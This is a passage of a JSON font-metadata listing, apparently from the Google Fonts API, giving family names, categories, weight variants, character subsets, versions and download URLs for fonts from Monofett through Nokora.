        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/monofett/v9/mFTyWbofw6zc9NtnW43SuRwr0VJ7.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Monoton",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/monoton/v9/5h1aiZUrOngCibe4fkbBQ2S7FU8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Monsieur La Doulaise",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/monsieurladoulaise/v8/_Xmz-GY4rjmCbQfc-aPRaa4pqV340p7EZl5ewkEU4HTy.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Montaga",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/montaga/v7/H4cnBX2Ml8rCkEO_0gYQ7LO5mqc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Montez",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/montez/v10/845ZNMk5GoGIX8lm1LDeSd-R_g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Montserrat",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-23",
      "files": {
        "100": "http://fonts.gstatic.com/s/montserrat/v14/JTUQjIg1_i6t8kCHKm45_QphziTn89dtpQ.ttf",
        "100italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUOjIg1_i6t8kCHKm459WxZqi7j0dJ9pTOi.ttf",
        "200": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_aZA7g7J_950vCo.ttf",
        "200italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZBg_D-_xxrCq7qg.ttf",
        "300": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_cJD7g7J_950vCo.ttf",
        "300italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZYgzD-_xxrCq7qg.ttf",
        "regular": "http://fonts.gstatic.com/s/montserrat/v14/JTUSjIg1_i6t8kCHKm45xW5rygbi49c.ttf",
        "italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUQjIg1_i6t8kCHKm459WxhziTn89dtpQ.ttf",
        "500": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_ZpC7g7J_950vCo.ttf",
        "500italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZOg3D-_xxrCq7qg.ttf",
        "600": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_bZF7g7J_950vCo.ttf",
        "600italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZFgrD-_xxrCq7qg.ttf",
        "700": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_dJE7g7J_950vCo.ttf",
        "700italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZcgvD-_xxrCq7qg.ttf",
        "800": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_c5H7g7J_950vCo.ttf",
        "800italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZbgjD-_xxrCq7qg.ttf",
        "900": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_epG7g7J_950vCo.ttf",
        "900italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZSgnD-_xxrCq7qg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Montserrat Alternates",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/montserratalternates/v11/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU0xiKfVKphL03l4.ttf",
        "100italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTjWacfw6zH4dthXcyms1lPpC8I_b0juU057p-xIJxp1ml4imo.ttf",
        "200": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xJIb1ALZH2mBhkw.ttf",
        "200italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8dAbxD-GVxk3Nd.ttf",
        "300": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xQIX1ALZH2mBhkw.ttf",
        "300italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p95ArxD-GVxk3Nd.ttf",
        "regular": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTvWacfw6zH4dthXcyms1lPpC8I_b0juU0J7K3RCJ1b0w.ttf",
        "italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU057qfVKphL03l4.ttf",
        "500": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xGIT1ALZH2mBhkw.ttf",
        "500italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8hA7xD-GVxk3Nd.ttf",
        "600": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xNIP1ALZH2mBhkw.ttf",
        "600italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8NBLxD-GVxk3Nd.ttf",
        "700": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xUIL1ALZH2mBhkw.ttf",
        "700italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9pBbxD-GVxk3Nd.ttf",
        "800": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xTIH1ALZH2mBhkw.ttf",
        "800italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p91BrxD-GVxk3Nd.ttf",
        "900": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xaID1ALZH2mBhkw.ttf",
        "900italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9RB7xD-GVxk3Nd.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Montserrat Subrayada",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/montserratsubrayada/v9/U9MD6c-o9H7PgjlTHThBnNHGVUORwteQQE8LYuceqGT-.ttf",
        "700": "http://fonts.gstatic.com/s/montserratsubrayada/v9/U9MM6c-o9H7PgjlTHThBnNHGVUORwteQQHe3TcMWg3j36Ebz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Moul",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/moul/v11/nuF2D__FSo_3E-RYiJCy-00.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Moulpali",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/moulpali/v12/H4ckBXKMl9HagUWymyY6wr-wg763.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mountains of Christmas",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mountainsofchristmas/v12/3y9w6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7ePNamMPNpJpc.ttf",
        "700": "http://fonts.gstatic.com/s/mountainsofchristmas/v12/3y9z6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7eBGqJFPtCOp6IaEA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mouse Memoirs",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mousememoirs/v7/t5tmIRoSNJ-PH0WNNgDYxdSb7TnFrpOHYh4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mr Bedfort",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mrbedfort/v8/MQpR-WCtNZSWAdTMwBicliq0XZe_Iy8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mr Dafoe",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mrdafoe/v8/lJwE-pIzkS5NXuMMrGiqg7MCxz_C.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mr De Haviland",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mrdehaviland/v8/OpNVnooIhJj96FdB73296ksbOj3C4ULVNTlB.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mrs Saint Delafield",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mrssaintdelafield/v7/v6-IGZDIOVXH9xtmTZfRagunqBw5WC62cK4tLsubB2w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mrs Sheppards",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mrssheppards/v8/PN_2Rfm9snC0XUGoEZhb91ig3vjxynMix4Y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mukta",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "200": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEOjFma-2HW7ZB_.ttf",
        "300": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFqj1ma-2HW7ZB_.ttf",
        "regular": "http://fonts.gstatic.com/s/mukta/v7/iJWKBXyXfDDVXYnGp32S0H3f.ttf",
        "500": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEyjlma-2HW7ZB_.ttf",
        "600": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEeiVma-2HW7ZB_.ttf",
        "700": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbF6iFma-2HW7ZB_.ttf",
        "800": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFmi1ma-2HW7ZB_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mukta Mahee",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "gurmukhi",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9MFcBoHJndqZCsW.ttf",
        "300": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NhcxoHJndqZCsW.ttf",
        "regular": "http://fonts.gstatic.com/s/muktamahee/v5/XRXQ3IOIi0hcP8iVU67hA-vNWz4PDWtj.ttf",
        "500": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9M5choHJndqZCsW.ttf",
        "600": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9MVdRoHJndqZCsW.ttf",
        "700": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NxdBoHJndqZCsW.ttf",
        "800": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NtdxoHJndqZCsW.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mukta Malar",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMwBtAB62ruoAZW.ttf",
        "300": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINUBdAB62ruoAZW.ttf",
        "regular": "http://fonts.gstatic.com/s/muktamalar/v6/MCoXzAXyz8LOE2FpJMxZqLv4LfQJwHbn.ttf",
        "500": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMMBNAB62ruoAZW.ttf",
        "600": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMgA9AB62ruoAZW.ttf",
        "700": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINEAtAB62ruoAZW.ttf",
        "800": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINYAdAB62ruoAZW.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mukta Vaani",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXNV8BD-u97MW1a.ttf",
        "300": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWpVMBD-u97MW1a.ttf",
        "regular": "http://fonts.gstatic.com/s/muktavaani/v7/3Jn5SD_-ynaxmxnEfVHPIF0FfORL0fNy.ttf",
        "500": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXxVcBD-u97MW1a.ttf",
        "600": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXdUsBD-u97MW1a.ttf",
        "700": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGW5U8BD-u97MW1a.ttf",
        "800": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWlUMBD-u97MW1a.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Muli",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900",
        "200italic",
        "300italic",
        "italic",
        "500italic",
        "600italic",
        "700italic",
        "800italic",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v20",
      "lastModified": "2020-02-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlOkHkw2-m9x2iC.ttf",
        "300": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFmQkHkw2-m9x2iC.ttf",
        "regular": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFnOkHkw2-m9x2iC.ttf",
        "500": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFn8kHkw2-m9x2iC.ttf",
        "600": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFkQl3kw2-m9x2iC.ttf",
        "700": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFkpl3kw2-m9x2iC.ttf",
        "800": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlOl3kw2-m9x2iC.ttf",
        "900": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlnl3kw2-m9x2iC.ttf",
        "200italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0xFz0e2fwniCvzM.ttf",
        "300italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG089z0e2fwniCvzM.ttf",
        "italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG05Fz0e2fwniCvzM.ttf",
        "500italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG06Nz0e2fwniCvzM.ttf",
        "600italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG00900e2fwniCvzM.ttf",
        "700italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG03Z00e2fwniCvzM.ttf",
        "800italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0xF00e2fwniCvzM.ttf",
        "900italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0zh00e2fwniCvzM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mystery Quest",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mysteryquest/v7/-nF6OG414u0E6k0wynSGlujRHwElD_9Qz9E.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "NTR",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ntr/v7/RLpzK5Xy0ZjiGGhs5TA4bg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nanum Brush Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v17",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nanumbrushscript/v17/wXK2E2wfpokopxzthSqPbcR5_gVaxazyjqBr1lO97Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nanum Gothic",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v17",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_3Rfi-oW3hYwmKDpxS7F_z_tLfxno73g.ttf",
        "700": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LQv37zlEn14YEUQ.ttf",
        "800": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LXv77zlEn14YEUQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nanum Gothic Coding",
      "category": "monospace",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIVdjzHisX_8vv59_xMxtPFW4IXROwsy6QxVs1X7tc.ttf",
        "700": "http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIYdjzHisX_8vv59_xMxtPFW4IXROws8xgecsV88t5V9r4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nanum Myeongjo",
      "category": "serif",
      "variants": [
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Btx3DZF0dXLMZlywRbVRNhxy1LreHQ8juyl.ttf",
        "700": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pXV1A0pfCs5Kos.ttf",
        "800": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pLVFA0pfCs5Kos.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nanum Pen Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nanumpenscript/v15/daaDSSYiLGqEal3MvdA_FOL_3FkN2z7-aMFCcTU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Neucha",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/neucha/v11/q5uGsou0JOdh94bvugNsCxVEgA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Neuton",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "italic",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKAKkfegD5Drog6Q.ttf",
        "300": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKZKofegD5Drog6Q.ttf",
        "regular": "http://fonts.gstatic.com/s/neuton/v12/UMBTrPtMoH62xUZyyII7civlBw.ttf",
        "italic": "http://fonts.gstatic.com/s/neuton/v12/UMBRrPtMoH62xUZCyog_UC71B6M5.ttf",
        "700": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKdK0fegD5Drog6Q.ttf",
        "800": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKaK4fegD5Drog6Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "New Rocker",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/newrocker/v8/MwQzbhjp3-HImzcCU_cJkGMViblPtXs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "News Cycle",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v16",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/newscycle/v16/CSR64z1Qlv-GDxkbKVQ_TOcATNt_pOU.ttf",
        "700": "http://fonts.gstatic.com/s/newscycle/v16/CSR54z1Qlv-GDxkbKVQ_dFsvaNNUuOwkC2s.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Niconne",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/niconne/v9/w8gaH2QvRug1_rTfrQut2F4OuOo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Niramit",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVXx7tiiEr5_BdZ8.ttf",
        "200italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiXimOq73EZZ_f6w.ttf",
        "300": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVRh4tiiEr5_BdZ8.ttf",
        "300italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiOiqOq73EZZ_f6w.ttf",
        "regular": "http://fonts.gstatic.com/s/niramit/v4/I_uuMpWdvgLdNxVLbbRQkiCvs5Y.ttf",
        "italic": "http://fonts.gstatic.com/s/niramit/v4/I_usMpWdvgLdNxVLXbZalgKqo5bYbA.ttf",
        "500": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVUB5tiiEr5_BdZ8.ttf",
        "500italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiYiuOq73EZZ_f6w.ttf",
        "600": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVWx-tiiEr5_BdZ8.ttf",
        "600italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiTiyOq73EZZ_f6w.ttf",
        "700": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVQh_tiiEr5_BdZ8.ttf",
        "700italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiKi2Oq73EZZ_f6w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nixie One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nixieone/v10/lW-8wjkKLXjg5y2o2uUoUOFzpS-yLw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nobile",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nobile/v11/m8JTjflSeaOVl1i2XqfXeLVdbw.ttf",
        "italic": "http://fonts.gstatic.com/s/nobile/v11/m8JRjflSeaOVl1iGXK3TWrBNb3OD.ttf",
        "500": "http://fonts.gstatic.com/s/nobile/v11/m8JQjflSeaOVl1iOqo7zcJ5BZmqa3A.ttf",
        "500italic": "http://fonts.gstatic.com/s/nobile/v11/m8JWjflSeaOVl1iGXJUnc5RFRG-K3Mud.ttf",
        "700": "http://fonts.gstatic.com/s/nobile/v11/m8JQjflSeaOVl1iO4ojzcJ5BZmqa3A.ttf",
        "700italic": "http://fonts.gstatic.com/s/nobile/v11/m8JWjflSeaOVl1iGXJVvdZRFRG-K3Mud.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nokora",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
